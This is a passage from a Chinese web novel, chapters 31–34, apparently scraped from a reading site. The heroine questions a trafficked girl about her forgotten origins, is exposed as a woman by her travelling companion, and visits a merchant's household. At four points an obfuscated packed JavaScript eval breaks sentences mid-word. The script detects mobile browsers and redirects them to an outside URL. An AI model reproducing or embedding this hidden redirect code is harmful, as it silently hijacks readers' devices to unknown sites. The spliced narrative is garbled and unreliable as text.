小红脸上的神色一僵,嘴角勾起一抹嘲讽的笑,“被我爹换了半袋子粟米呗。” 贺岁愉此刻顾不上关心别人的悲惨命运,指着自己,“那我呢?” “你?”小红摇头,“我不知道,你没对我说过这事儿,你那个时候不大说话,整天蹲在笼子的角落里,谁也不理。” 贺岁愉垂下目光。 身上值钱的首饰不少,那证明原主家境不错,大概并不是被家人卖给了人贩子,而是因为其他原因落入了人贩子手里。 贺岁愉摸着下巴。 也许,她还真有一对有钱的父母。 不过,到底是封建时代,也不知道她这个闺女被人贩子绑了一大圈,她那对爹娘还愿不愿意认她。越有钱的人家,恐怕讲究的规矩和礼仪就越多,就更注重家族的脸面。 她盲目找回去,别到时候钱没捞着,让对方一根白绫勒死了,就得不偿失了。 这件事还是要慎重。 贺岁愉撇嘴,“你就知道这么点儿东西?你这可不值四两银子。” 小红语气祈求:“你让我想想吧,我要是想起来就再跟你说。” 贺岁愉无奈,“行吧。” 对方只知道这么点儿东西,贺岁愉也没办法,她总不能别人脑子掏出来看吧? “对了,那群人贩子抓的那些人全都是姑娘吗?她们都是哪里人?”贺岁愉忽然有了些别的灵感。 如果能知道这些姑娘都是哪里的人,就能串出来这队人贩子经过的大致线路,可以大体判断出,她到底是哪儿的人。 “全是姑娘,”小红点头,“有孟州,汝州洛阳、相州、定州……好多地方,哪儿都有。” “你是哪儿的人?” “邢州。”小红黑漆漆的眼睛看着她,不明白贺岁愉为什么忽然问起这个问题。 贺岁愉找了张纸记下小红说的这些地方,小红又仔细回忆了一些姑娘的出身地,贺岁愉把它们全都写了上去。 她看着这几行地名,也不知道这些州具体都在什么地方,等她回头对这地图再仔细看一看。 “那些姑娘如今怎么样了?” “还能怎么样,”小红脸上露出一个似哭似笑的表情,“要么跟我一样被卖进有钱人家当妾室,要么就被卖进青楼妓院里。” “其中有没有跟我亲近一些,对我的事情知道得更多一些的?” 小红摇头,“据我所知没有,你当时大概是一直存了心思要跑,所以不大跟我们说话。” “到了沧州以后,那群人贩子遇上了乱民,你就趁机跑了,也有几个姐妹见你跑了,跟着一起跑的,但是她们都被抓回来了,被那群人贩子打了个半死,有几个还没到下一座城就死了。” 贺岁愉听小红讲过去的事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029018|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但是脑子里一点儿印象也没有,也许是因为原主和她是两个人,所以记忆不同。 可是,她明明之前脑海中也闪过一些零碎的片段。 可能是原主记忆残留吧。贺岁愉如此想。 见小红实在没什么知道的了,贺岁愉便道:“好了,你出去吧。” 小红没动。 贺岁愉疑惑:“我赎你出来已经仁至义尽了,你不能还要赖着我在这里住一晚吧?” 小红张了张嘴,还是没说什么。 她起身,正要出去,结果刚一抬脚,身子一晃,就摔在了地上。 贺岁愉还在打量纸上写的这些地名,就听到她摔在地上发出的声音。 见小红摔在地上,好半天没爬起来。 她去扶小红起来,却看到了她手臂上的鞭痕。 贺岁愉很快猜到,“你腿上也有伤?” 小红低低“嗯”了声。 贺岁愉今天听到小红和那两个男人说什么要与夫人交代,又听小红说她被卖进有钱人家做妾室,就已经猜到了小红为什么会被那两个男人卖进窑子里。 所以,小红身上被打出来的这些伤是怎么来的,贺岁愉心中清楚,不必多问,也没什么好问的。 小红忽然抓着她的手。 贺岁愉心颤了一下,有种不祥的预感。 果不其然,她开口道:“你能不能借我点钱?我想买点儿去疤的药。” 贺岁愉:“……” “你现在已经欠了我四两银子了。” 小红抬起手,“我发誓,我很快就会还给你的。我不想留疤,干我们这行的,身上留了疤,以后就难混了。” 说到这里,她忽然崩溃了,委屈地哭着大骂:“那死老太婆下手太狠,要不是我死死护着脸,我脸上差点儿也要留疤了,呜呜呜……” 贺岁愉幽幽叹息一声,“我没钱借你了,所有的钱都花在你身上了。” 她身上只剩下几十个铜板的救命钱了,这钱不到万不得已,她才不会动。 小红见从贺岁愉这里借不到钱,满脸失魂落魄,扶着墙一瘸一拐地出去了。 贺岁愉靠在桌子边说:“对了,你的卖身契还在我这儿,等你什么时候把钱还我了,我再把卖身契还你。” 小红咬了咬唇,“好。” *** 小红离开不久以后, “笃笃笃——” 有人敲门。 贺岁愉还以为是送茶水的店小二,便道:“进。” 结果推门进来的是赵九重。 贺岁愉疑惑不解,赵九重怎么突然这么客气? 这不也是他的房间么,有什么好敲门的? 为了省钱,这一路,他们两个一直都是住一个房间。贺岁愉下意识以为,这一次也是。 赵九重脸上的表情古古怪怪的,“我、我有事情要跟你说。” 贺岁愉抬起头看他,“说啊。” 赵九重坐在贺岁愉对面。 “你……你是不是……”赵九重一只手放在腿上,一只手紧紧握着桌子上的白瓷茶杯。 贺岁愉啧了一声,“你有什么事就直说,吞吞吐吐的做什么?” 赵九重涨红了脸,终于一口气说出了那句话,“那个姑娘今天为什么说你是个姑娘?” 32.第 32 章 “啊?是吗,”贺岁愉表情很自然,“可能她叫错了吧?” “那你为什么这个年纪了,完全不长胡子?” “有的人天生长胡子长得晚呗。” “那你为什么没有凸起的喉结?” “不一定所有的男人喉结都那么明显吧?” “那你……” 贺岁愉:“……” 贺岁愉忍不住打断了他,“赵九重,你到底要说什么?” “你是女子,对吧?”虽然是疑问句,但是赵九重的语气确实肯定的语气。 贺岁愉试图从他脸上找到一点浑水摸鱼把他糊弄过去的可能,却发现他神色笃定,这次被她骗过去的可能性为零。 贺岁愉泄气了。 她点了点头,承认了:“是。” “你为什么要瞒我,还与我称兄道弟,甚至……甚至夜间同塌而眠?”赵九重回想起这一路上他对贺岁愉的过界行为,脸上的表情很复杂,“太荒唐了。” “我不瞒你,你肯带我出沧州吗?” “当然啊,你不瞒着我,我也会带着你离开沧州的。” 贺岁愉点点头,“那你带着我离开沧州以后,还会一路庇护我吗?” 赵九重沉默了。 “不会对吧?”贺岁愉早有预料,“我无处可去,又不会武功,不跟着你一起,我能去哪儿呢?” 赵九重没说话,也许是不知道说什么。 他的手攥紧了外衫,将布料都捏皱了,而后又松开,“你可还有亲眷在世?” “什么意思?”贺岁愉眼神冷下来,“你要抛下我?” “不,我不是那个意思,你一个姑娘总不好在跟着我一个大男人一起四海漂泊,这哪像个样子?” 贺岁愉眼神冷冷,“我没有亲眷,即便有,我也早不记得了。” “还有问题吗?” 赵九重摇了摇头。 “那就滚出去。”贺岁愉语气不善地说。 赵九重抿抿唇,起身走了。 门打开了。 又重新关上了。 贺岁愉抬起头看着赵九重离开的方向。 一直跟着赵九重也不是个办法。 就比如眼下,赵九重在知道自己的女子身份以后,就立刻想找个她的亲戚,好将她托付给亲戚。 她还是得查一查原身的父母,看看是什么情况再说。 她本来想问一问赵九重地图的事情,但是刚刚一生气就忘记了。 算了,下次再说吧。 *** 贺岁愉睡了一觉。 夜里似乎做了很多梦,梦见有人拖着她跑,又梦见有人一直在后面追她。 但是天亮醒来时,这些梦境又忘得一干二净了,只留下一些模糊的心悸之感。 第二天上午,贺岁愉刚起来不久,一个婢女来敲门。 贺岁愉疑惑地看着对面的婢女:“你是?” 婢女见贺岁愉一身男子打扮并不惊讶,径直问道:“姑娘可是姓贺?” “是。” “我们红姨娘请姑娘过府一叙。” 贺岁愉满头雾水:“?我不认识什么红姨娘。” 婢女笑道:“我们姨娘昨日才与姑娘见过的。” 昨日见过? 她昨天哪里见过什么富贵人家的姨娘? 她昨天就见了赵九重那不靠谱的当官亲戚,还有个害她损失四两银子的小红…… 贺岁愉忽然顿住,惊讶得张开了嘴,“你们红姨娘是小红?” 婢女点点头,“正是。” 贺岁愉眼前一黑。 她甚至都搞不清这是怎么回事。 不是昨儿个还差点儿要被卖进下等窑子里,怎么过了一晚上,就又成了哪家府上的姨娘了? 一晚上就变化这么大吗? 不能是什么圈套吧? 贺岁愉踩坑踩多了,难免有这种担心。 小红不会是被昨天那两个男人口中的夫人抓回去了吧?然后那夫人对她这个救了小红的人怀恨在心,就设下埋伏,派人引她进府,俏没声地解决她? 短短几个呼吸,贺岁愉脑子里面已经想了一大圈了。 不行,她不能孤身一人就跟这个婢女走。 “你们姨娘不能自己来见我吗?还得让我过去。” “姑娘还是跟我走一趟吧,姨娘让你把她的卖身契带上,她已经如约给姑娘准备好了四十两银子。” 贺岁愉大惊失色,“四十两?” 婢女点点头。 贺岁愉眼睛亮了,四十两银子,那她就不得不去一趟了。 她还是觉得自己一个人去不安全,还是把赵九重叫上一起吧。 贺岁愉虽然昨天跟赵九重闹得不太愉快,但是关键时刻还是只能信得过赵九重。 “稍等我片刻。”贺岁愉对婢女道。 说罢,她去敲了赵九重的房门,赵九重的房间就在她隔壁。 知道了她是姑娘,即便她现在仍然是男子装扮,赵九重也不可能再大大咧咧和她住一个房间。 没有回应。 贺岁愉推门进去。 赵九重自从知道她是姑娘以后就对她特别讲礼数,贺岁愉可不管这些东西,反正她和姓赵的这一路过来,什么没经历过,她才没有赵九重那么矫情。 贺岁愉扫视了一圈,房间里没有人。 这人呢? 贺岁愉出来看见店小二端着空盘子从走廊经过,“诶,小哥,这个房间里住的人呢?” 店小二转过头来,看了一眼贺岁愉指的房间,问贺岁愉:“是不是个二十出头、模样俊俏的郎君?穿着一身黑色衣裳?” 贺岁愉点点头,“是。” 那店小二说:“一大早就出去了。” “出去了?”贺岁愉皱着眉头,转头看向空荡荡的房间。 胸口有点气闷。 死赵九重,出去也不跟她说一声! 那边的婢女过来问:“姑娘准备好了吗?” 出去就出去! 她自己一个人去也行,到时候四十两银子一两都不分给他!他那三两银子也别想要了! 贺岁愉呼出一口气,“好了,咱们走吧。” 贺岁愉跟着婢女下楼,出了客栈。 没过多久, 另一个店小二从后厨出来,沿着楼梯跑上来,跑到贺岁愉的房间门口敲门。 他敲了好一会儿,都没人回应。 店小二站在门外问:“客官,您醒了吗?” 还是没人回应。 店小二小声嘀咕:“都这个点儿了还没醒?” 刚刚被贺岁愉问话的那个店小二正巧端着茶壶从楼下上来,“这个房间的客人出去了。” “出去了?” “对啊,刚刚才出去。”店小二一边回答,一边端着茶壶走远了。 那跑上来敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037198|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺岁愉房门的店小二摸了摸脑袋,看了贺岁愉紧闭的房门一眼,又顺着楼梯往下走。 他一边下楼,一边还在嘴里嘟嘟囔囔:“隔壁房间的那个客人还叫我给这个房间的客人带话呢,这怎么就出去了?” *** 贺岁愉跟着婢女走了约莫两炷香的时间。 她们穿过了好几条街,左拐右拐的,然后进了一条巷子里面。 这应该是这户人家的下人进出的小门。 婢女领着贺岁愉从这道小门进去,沿着曲折的长廊,穿过小花园,进了一个小院子。 婢女引贺岁愉走到门口,“姑娘进去吧,我们姨娘在屋子里等着姑娘。” 贺岁愉进屋以后,看见已经换了一身行头彻底大变样的小红。 “你……”贺岁愉顿住,“你怎么一晚上就成了这府上的姨娘了?” 小红伸出戴着大金镯子的手,将垂落在脸颊的发丝往后捋了捋,“你昨日不是不肯收留我么,我就只能另寻他法了。” 贺岁愉听出小红话里的阴阳怪气和埋怨之意,不由得撇撇嘴。 这人变脸也变得太快了。 一晚上大变样,有钱了以后,连语气都变得高傲了,昨天还可怜兮兮的,张口闭口求她呢。 小红倚在榻上,把玩着涂了蔻丹的指甲,脸上表情看不出是开心还是不开心,“我昨日出去以后,无处可去,只好坐在街头的角落里。” 小红的眼睛里有几分悲伤,“我本想着熬一夜,等到天亮再说,但是夜里太冷,又被冻醒了,正好看见刘老爷坐着轿子经过。” “他从前就对我有几分意思,所以我昨晚扑到他轿子前面,他就把我带回来了。”说到最后,小红又笑起来,仿佛很开心似的。 贺岁愉奇怪:“大晚上的,他怎么会恰好坐轿子路过?” 小红语气不以为然,“这有什么奇怪的?从青楼里才回来呗,从青楼回刘宅,从那边走是最近的。” 贺岁愉说不上心里是什么感受。 她昨天花了银子把小红从那两个男人手里赎出来,完全没有料到,小红这么快就又要重操旧业。 但是,如果她不做这个,贺岁愉也想不出来更好的主意。 她身无一技之长,又不识字,也干不了体力活,除了出卖身体,在如今这个环境下,很难找到其他可以糊口的活计。 即便有,但小红给有钱人当姨娘是过惯了好日子的,一时半会儿,也适应不了那些又脏又累的粗活。 由俭入奢易,由奢入俭难呐。 见贺岁愉久久没说话,小红忽然斜她一眼,“怎么?你不会是瞧不起我吧?” 贺岁愉抬起头来,目光很坚定,“没有。” 小红见她眼睛里真的没有轻蔑,这才哼了一声,刻薄地说了句:“你要不是跑得快,现在没准儿比我还下贱不要脸呢!” “你够了啊!”贺岁愉可没那么好的脾气,“你卖身契还在我手里呢!” 贺岁愉满脸费解,“你做都做了,有什么可不顺气的?” “若是你昨晚让我留宿一夜,没准儿,我也不会忍不了冻、挨不了饿,去拦他的轿子……” 贺岁愉:“???” 大姐,你没事吧? “你这话说的,你给人做小,又不是我逼你的?你可别当白眼狼啊!” 小红转过头,默默流着眼泪,也不再与贺岁愉争辩。 贺岁愉:“……”额…… 33.第 33 章 小红正哭着,婢女忽然进来说:“姨娘,刘妈妈来了。” “快请妈妈进来。”小红说着,连忙擦了擦眼泪,理了理衣裳,从榻上坐直身子。 很快, 一个膀大腰粗,穿着绫罗绸缎的白胖婆子从院子外走进来。 婆子约莫四十出头的年纪,保养得很好,又白又胖,有好几层下巴,乌黑的头发上,插着一只金灿灿的金簪子,穿着打扮十分体面,脸上神色也颇为高傲。 “红姑娘,老奴听人说,你找了外男进来。”那婆子人还没进屋,严厉的声音就先传了进来。 小红昨夜才被刘老爷带回来,还没正式抬姨娘。 小红院子里的婢女为了巴结小红这个新主子,自然一口一个姨娘。 但是这位刘妈妈是夫人手底下最得力的管事妈妈,协助夫人管理后宅,自然不会轻易改口,巴不得给小红这个刚进刘府后宅的新人一个下马威。 进来以后,那婆子就首先看到了站在屋子里一身男装打扮的贺岁愉。 那婆子也不行礼,面色不虞地看向小红,“红姑娘,你昨儿个晚上才进府,不知道府里的规矩,这回便先饶过你,下回再不向夫人报备就派人领着外男进院子,可是要重重地罚的!” “咱们刘府家教严格,可跟那些下九流的地方不一样,红姑娘进了咱们府里,就要守咱们府的规矩。”刘妈妈掷地有声地说。 贺岁愉看着她的模样,心中缓缓浮出一个念头,后宅教导主任? 小红挺害怕这位威严的刘妈妈,慌张地解释:“不是这样的,刘妈妈您听我解释。” 然后,她又拉过贺岁愉,“她并非外男,她是个女子,是我的朋友。” “女子?”刘妈妈这才仔细地打量贺岁愉,看了一会儿,皱着眉头,“果然是个女子。” “既是女子,怎么如此打扮?属实不像话!” “红姑娘,你从前在外面结交些不三不四的朋友倒也罢了,但是如今进了咱们府上,就要趁早跟那些不三不四的人断了来往,不要连累咱们府上的女眷都被人说得没规矩了。” 贺岁愉如果不是心底牵挂着小红许诺给她的那四十两银子,早就和这个婆子呛上了。 听到对方当着她的面说她不三不四,贺岁愉撇撇嘴,不以为然,她还不五不六呢。 小红刚刚对贺岁愉的刻薄和傲气全都消失不见,听了刘妈妈的话以后,连连点头应是,“妈妈放心,我待会儿就送她走。” 刘妈妈这才高傲的扭过身子出去了。 贺岁愉摇摇头,这刘府不过就是有几个钱的商贾人家,规矩竟这样大。 小红看见贺岁愉这一身男子装扮,气不打一处来,质问贺岁愉:“你来之前为什么不换一身女子衣裳?” 贺岁愉摊手,“我哪有衣服换?” “怎么?”贺岁愉挑眉,笑看小红,“一夜翻身当有钱人以后,便将昨日的穷人窘迫都忘得一干二净了?” 小红憋闷着说不出话来反驳,只得吩咐婢女给贺岁愉找一身女子衣裳来。 贺岁愉本想说没必要,那婆子不都已经走了?但是转念一想,白得一身衣裳,也挺好。 而且,小红现在发达了,随便让人给她找一身衣裳,定然都是比她身上的衣裳料子要好的。有便宜不捡白不捡。 婢女给贺岁愉找了一身丫鬟的旧衣裳,说是旧衣裳,但是也没有补丁,也没什么磨损,比贺岁愉身上这件袖口都磨破了的衣裳还新一些,而且布料也要舒服很多。 忽然,有一个婢女进来说:“姨娘,老爷请您过去。” 小红奇怪,“怎么这个时候唤我过去?” 婢女回答:“有客人到访,老爷正在待客,请姨娘过去陪酒。” 小红点了点头,“好,我知道了,我收拾一下马上就过去。” 几个婢女立刻上前给小红梳妆打扮,贺岁愉看见了她妆奁匣子里的金银首饰,不可思议地问:“你一晚上,就有了这么多的首饰?” 小红得意洋洋,“我们家老爷一向出手大方,让我今儿个早上自己去库房挑的。” 贺岁愉点点头,确实大方。 而且小红一晚上就能拿出四十两银子给她,可以见得,这位刘老爷确实算得上舍得给女人花钱。 贺岁愉见小红换了衣服以后,又专心致志地挑首饰,完全不提卖身契的事情,不由有点儿着急,“你什么时候给我钱?” “你急什么?”小红白了她一眼,“我还能少了你的不成?” “你待会儿就跟在我后面一起过去,然后让婢女带你出去就好了。” “好吧。” 几个婢女手脚麻利,很快就帮小红梳妆打扮好了。 小红今年也不过十七八岁,正是花儿一样的年纪,在婢女的巧手下,美得像是仕女图中的曼妙佳人。 小红让人取了一只木盒子出来,“打开看看吧,四十两银子,一分都不会少你的。” 她伸手,“卖身契拿来。” 贺岁愉将盒子打开,果然看到了一锭银光闪闪的大银锭躺在木盒子里。 她从袖子里摸出小红的卖身契还给她。 贺岁愉看小红一直盯着手里那张卖身契看,多问了一句,“你要去官府消除它吗?” “消除它?”小红诧异地看了贺岁愉一眼,笑了一声,“你在做什么白日梦?这个可是要上交给夫人的。” 小红仔细把卖身契重新叠好,锁进了妆奁匣子里。 贺岁愉:“……” 她不过就是不熟悉这个时代的规矩罢了。 还没等贺岁愉反驳她,小红用那种似哭似笑的表情看了贺岁愉一眼,“也是,你又没给男人当过小妾,你什么都不知道。” 小红的眼中闪过一抹嫉妒,“你还真是命好啊,几十个姑娘就你一个人逃出来了,虽然过得穷苦了些,但没有沦落为奴,身边还有人护着你。” “命好?”贺岁愉也笑了,“你要是和我一样,三番两次命悬一线,就不觉得我命好了,你就是好日子过太多了!” “好日子过太多了?”小红脸色一变,逐渐露出苦涩的笑容,“你来给这些老爷们当两天姨娘试试?你光看见我们光鲜亮丽,没看见我们吃苦受罪了。” 贺岁愉费解:“都是自己选的路,你跟我不平个什么劲儿?” “自己选的路?”小红冷笑,“我有的选吗?” “有啊,你昨天不就有选择,是自己受不了苦,又重走老路的。” “那我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038627|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即便在街头挨过昨晚,那今晚呢?难道你会施舍我一口饭吃,施舍我一块地方落脚吗?” 贺岁愉懒得跟她争辩,反正小红总是能给她自己找到无限借口的。 贺岁愉觉得,这姑娘真是矛盾得很,做都做了,又过不去自己心里那一关,既贪恋现在的富贵生活,又不想泯灭最后的一点良知和道德底线。 因此,她总要试图在贺岁愉这里证明,她再一次走上老路是迫不得已,并非她自己自甘下贱。 可是贺岁愉明显又不是一个愿意配合她的人,所以就导致她们俩说着说着,就难免争吵起来。 小红还想要再说什么,门外的婢女已经在催了,“姨娘好了吗?咱们要赶紧过去了,去晚了恐怕会惹得老爷不虞。” 刚刚小红给贺岁愉银子,从贺岁愉那里换回卖身契的时候,让屋子里的婢女都出去了在外面等候了。此时,屋子里只有小红和贺岁愉两个人。 “这就来。” 小红对着镜子露出了美丽的笑容,然后转过身,娉娉袅袅地打开门走出去。 贺岁愉觉得她对着镜子笑之前和笑之后,简直判若两人。 她现在怀疑小红可能有点儿精神病。 昨天相处时间太短,她没发现。 她撇撇嘴,跟在小红后面出去。 小红带着贺岁愉和另外两个婢女穿过曲折的回廊,朝刘老爷会客的院子走去。 快走到刘老爷会客的院子里时,小红停下了脚步。 贺岁愉听到院子里高声说话的声音,不由得往那边看了一眼,看到了主位上坐着的肥胖老头子。 老头子身材臃肿,腰间的肥肉在柔软的丝绸衣裳下挤出堆叠的形状,他的脸上皱纹遍布,头上仅剩的一小撮斑白头发挽了个髻。 看起来像个又黑又壮的大胖包子,头是包子主体,头发像是过于细长的包子褶子。 这长相,实在是让人一见难忘。 贺岁愉只看一眼,就觉得丑得让人印象深刻。 她脑海中拨云见雾,瞬间就明白了,小红之前就给人当妾,按理来说已经习惯这个职业了,怎么这回重操旧业,心里这么多郁气难平。 敢情是因为这刘老爷长成这副模样啊。 她忽然就有点儿能原谅小红今天频频跟她呛声了。 晚上叫这只老怪物压在身子底下,要做一晚上噩梦的吧?贺岁愉同情地想。 小红见贺岁愉看到了坐在主位上正与友人谈笑的刘老爷,瞪了贺岁愉一眼,“看什么看?有什么好看的?不知礼数!” 贺岁愉这回难得没有再跟她争执。 她收回目光,看似平静,心里已经惊涛骇浪了。 看一眼足够好几年都印象深刻了,她也不想再看第二眼。怕自己眼睛长针眼。 旁边的婢女对贺岁愉说:“你顺着这条回廊一直走,然后左转,直走再右转就能出去了。” 贺岁愉记下了她说的路,点了点头,“好。” 小红瞪了贺岁愉一会儿,很快便转过身,脸上又挂上了甜美的笑容,娉娉袅袅、姿态轻盈地走进庭院。 贺岁愉没走出多远,回头时正好看见她变脸的过程。 她摇摇头,心道:这才是真正的——钱难挣屎难吃。 34.第 34 章 贺岁愉满脸唏嘘。 她现在甚至觉得怀里的银子有点儿烫手,这算不算是小红的血汗钱? 小红拿着银子,赎回了她自己的卖身契,却要转手交给夫人。 贺岁愉明明刚刚还很生气,觉得小红是个白眼狼,现在心头又莫名为她涌上一股悲哀。 她刚刚竟然有一瞬间,想把这四十两还回去。 她赶紧晃了晃脑袋,把脑子里的水晃出去。 太可怕了。 一定是跟赵九重相处久了,她都变得有情有义起来了。 这四十两银子是小红自己许诺给她的,即便她还四两,贺岁愉其实也会把卖身契还给她的。但是对于现在的小红来说,四两和四十两其实没有什么分别,反正都是刘老爷给的钱。 而且,这银子还回去,还不是落到刘老爷手里,还不如让她这个穷人拿着。 她走了没几步远。 忽然,侧前方不远处的回廊下,有一个管事打扮的男人指着她大声说:“那个丫鬟,你站住!” 贺岁愉脚步一顿,是在叫她? 可她又不是刘府的丫鬟,贺岁愉当然不会傻傻地站着听他的吩咐,她还是按照自己原本的方向继续往前走,就像完全没有听到似的。 那人一脸着急,快步跑到跟前,一把抓住了她的胳膊,“叫你呢,你聋了是不是!” “沈老爷喝醉了,你赶紧去伺候一下。”管事抓着贺岁愉的胳膊就走。 贺岁愉一脸懵逼,想甩开他的手抽回自己的胳膊,“我不去,我又不是你们府上的丫鬟。” “嘿你这小丫头片子,不识抬举,伺候老爷的事情,别人求都求不来呢!你赶紧的,那边正等着呢!” 贺岁愉:“???” 她挣了好几下还是没挣开,皱起眉头,“你听不懂人话吗?我说——我不是你们府上的丫鬟。” 管事的完全不理会贺岁愉,拽着她就一个劲儿往前走,嘴里还不住地说:“小贱蹄子,我还使唤不动你了?下回换身衣裳再撒这个谎!” 在人家的地盘上,贺岁愉只能忍住火气,“我是后院红姨娘的朋友,真的不是什么丫鬟。” “后院哪有什么红姨娘?撒谎也不晓得换个人,你说曲姨娘、莲姨娘、周姨娘或者其他姨娘我还相信,还想凭空编个人出来唬我?赶紧走!别浪费时间了。” 那管事完全不信贺岁愉的话,反而拽着她越走越快,简直是一路小跑过去。他嘴里说个不停,抱怨的声音又大,根本听不进去贺岁愉的话,也没给她说话的机会。 “现在你们这些小丫头片子,最是会躲懒的,见老子刚从老宅调过来,就跟我耍滑头,招数层出不穷,看我回头不好好收拾你们这些爱偷懒的小贱蹄子!” 小红昨夜才被刘老爷带回来,刘老爷后院的姨娘甚众,这个前院的管事,还不知道后院又多了一位姨娘。贺岁愉说的话,他自然不相信。 贺岁愉本来想动手打他,但是跟这管事的动起手来,且不说她打不过他,就说她势必会惹怒了这管事的,高门大院的,他找几个人让她再也出不了这个门,还不是轻而易举的事? 而且她若跟管事动手,把事情闹大了,小红可不会来保她。 贺岁愉想起自己怀里还揣着银子,多一事不如少一事,先跟着这管事的去,然后她再趁机溜了。 那管事的抓着贺岁愉没走多远,沿着一排清幽的翠竹走了一段路以后,将她拽进了一个小院子里,然后一把将她推进屋子里。 那管事的指使说:“赶紧进去,沈老爷有什么吩咐,你就乖乖地听着,然后照做。” 贺岁愉忽然想到,这管事的说的伺候,大概不是普通的伺候。 她的心跳快了几分 今日刘老爷请了许多朋友上门做客,府上的下人都忙忙碌碌,人手根本忙不过来,这管事又是刚从老宅调过来的,下人都不大听他的,他使唤不动人,所以这才半路扯了贺岁愉过来。 贺岁愉被推进那间屋子里,那管事的力气极大,拽的她胳膊都要断了。 有这么一身力气当什么管事?他适合去码头搬货才对。 贺岁愉进了屋,探头往里屋看去。 看见床上斜躺着一个男人,一身衣裳倒是完整地穿着,衣袍的一角垂落到地上,脚底下的皂靴也没脱,酒气熏天。 她站在外间闻着,都觉得呛鼻子。 那人迷迷糊糊听见开门的声音,躺在床上喊:“来人,更衣!” 贺岁愉没动,她四处打量有没有别的出口,能让她溜出去的。 可惜,屋子的窗户开的方向朝前,有管事守着,除此外,没有其他出口。 那人的声音又大了一些,再次喊道:“更衣!” 管事轻轻推开门,瞪着贺岁愉,压低声音斥责道:“死丫头,你干什么呢!还不快去!” 贺岁愉见他这回能听得进去话了,“我真不是丫鬟,我是后院红姨娘的客人,我还急着回去呢!你赶紧放我走。” 那管事的呵斥:“管你是丫鬟还是姨娘?以沈老爷和咱们老爷的交情,就算问咱们老爷要个姨娘回去,咱们老爷肯定二话不说就答应了。” “一个姨娘的朋友,能伺候沈老爷是天大的福气,赶紧去!”他刻意加重了最后一句的语气。 贺岁愉磨了磨牙。 她说这管事的刚刚怎么一路听不懂人话呢,原来是实在找不到人给这死酒鬼换衣裳。 他一个大老爷们亲自上的话,估计里面的老爷不愿意让他伺候,所以才不管不顾地把她抓过来。 贺岁愉在管事的逼迫下,进了里间去。 那管事的见贺岁愉进去,又重新轻手轻脚地关上了门。 床上躺的男人喊了两回见没人进来,于是撑着床,满脸躁郁地自己爬起来靠在床边。 贺岁愉进来就看见男人约莫三十多岁,蓄着一把美髯,长相倒是还算看得过去,身材也很正常,相比于刘老爷及庭院里其他正在宴饮的老爷们,这位沈老爷称得上是自律,人至中年,并没有什么发福的迹象。 那人眼睛都没有睁开,感觉到有人进来了,便张开两手等着人给他脱衣服。 贺岁愉:“……”还真是个老爷。 贺岁愉在旁边蹲下,给这人解腰间的腰带,但是有钱人的腰带做得花哨又复杂,她不太会弄,摸索了半天还没解开。 那人等得太久,满脸烦躁地睁开眼睛,低头看向自己的腰间,“怎么还没弄好?” 贺岁愉感觉声音就在自己的头顶上,不禁手一抖,下意识抬起头,正好和那人对视上。 男人生了一双桃花眼,喝醉了,便更显得风流多情,眼睫毛很长,为他增添了温柔清秀的气质,中和了因为蓄须而导致的粗犷。 贺岁愉手底下慌慌张张,不知道怎么又把腰带解开了,于是镇定地低下头,“好了。” 她站起身,站到了一边候着,心中暗想着:若是这醉鬼有什么不轨举动,她若应付不了,和外面的管事撕破脸也要跑的。 不过,他醉成这幅样子,应该也不会对她做什么。 那沈老爷看见贺岁愉乌发红唇,一张素白的小脸,双眸灵动,明明警惕却又强装镇定,觉得酒意好像又上头了几分。 他一手扶额,靠在床边,即便贺岁愉没有接着帮他脱外衣,也没有怪罪于她,反而语气和善地问:“你叫什么名字?” 贺岁愉随口回答:“奴婢小绿。” 沈老爷面颊被酒精染上了绯色,笑了笑,“从前未替老爷们更衣过?” “是。”贺岁愉垂首回答。 沈老爷以为贺岁愉低头是害羞,晃了下脑袋,醉醺醺地调侃说:“怪不得动作生疏,惊慌如小兔儿一般。” 话音未落,他又醉醺醺地笑了两声。 贺岁愉:“……” 不知道他是脑子有问题还是嘴巴有问题。估计是都有问题,不然也说不出这种话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046328|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 